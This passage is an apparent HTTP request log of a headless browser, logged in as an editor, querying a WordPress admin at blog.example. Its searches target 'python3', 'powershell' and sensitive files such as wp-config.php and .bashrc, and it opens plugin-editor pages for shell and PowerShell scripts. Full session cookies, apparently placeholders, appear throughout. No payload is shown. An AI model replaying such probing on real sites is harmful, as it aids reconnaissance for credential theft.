wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=hello&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3%26action%3D-1%26new_role%26paged%3D1%26action2%3D-1%26new_role2&action=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3&action=-1&new_role&paged=1&action2=-1&new_role2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&_wpnonce=21dd43bdf4&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&action=-1&comment_type=&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=python3&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=&paged=1&action2=-1&new_role2=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=python3&plugin_status=all", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209928"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=python3&browse=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=python3&number=20", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=autocomplete-user&term=python3&autocomplete_type=add", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?per_page=20&orderby=count&order=desc&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?per_page=20&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/media?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pattern-directory/patterns?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-directory/search?term=python3&per_page=10&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?p=16", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/?tag=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209934"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?category_name=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=.htaccess&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Finstall-script.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fscripts%2Fpowershell-setup.ps1&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fassets%2Fdocument.write.js&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=docker-helper%2Fdocker-helper.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 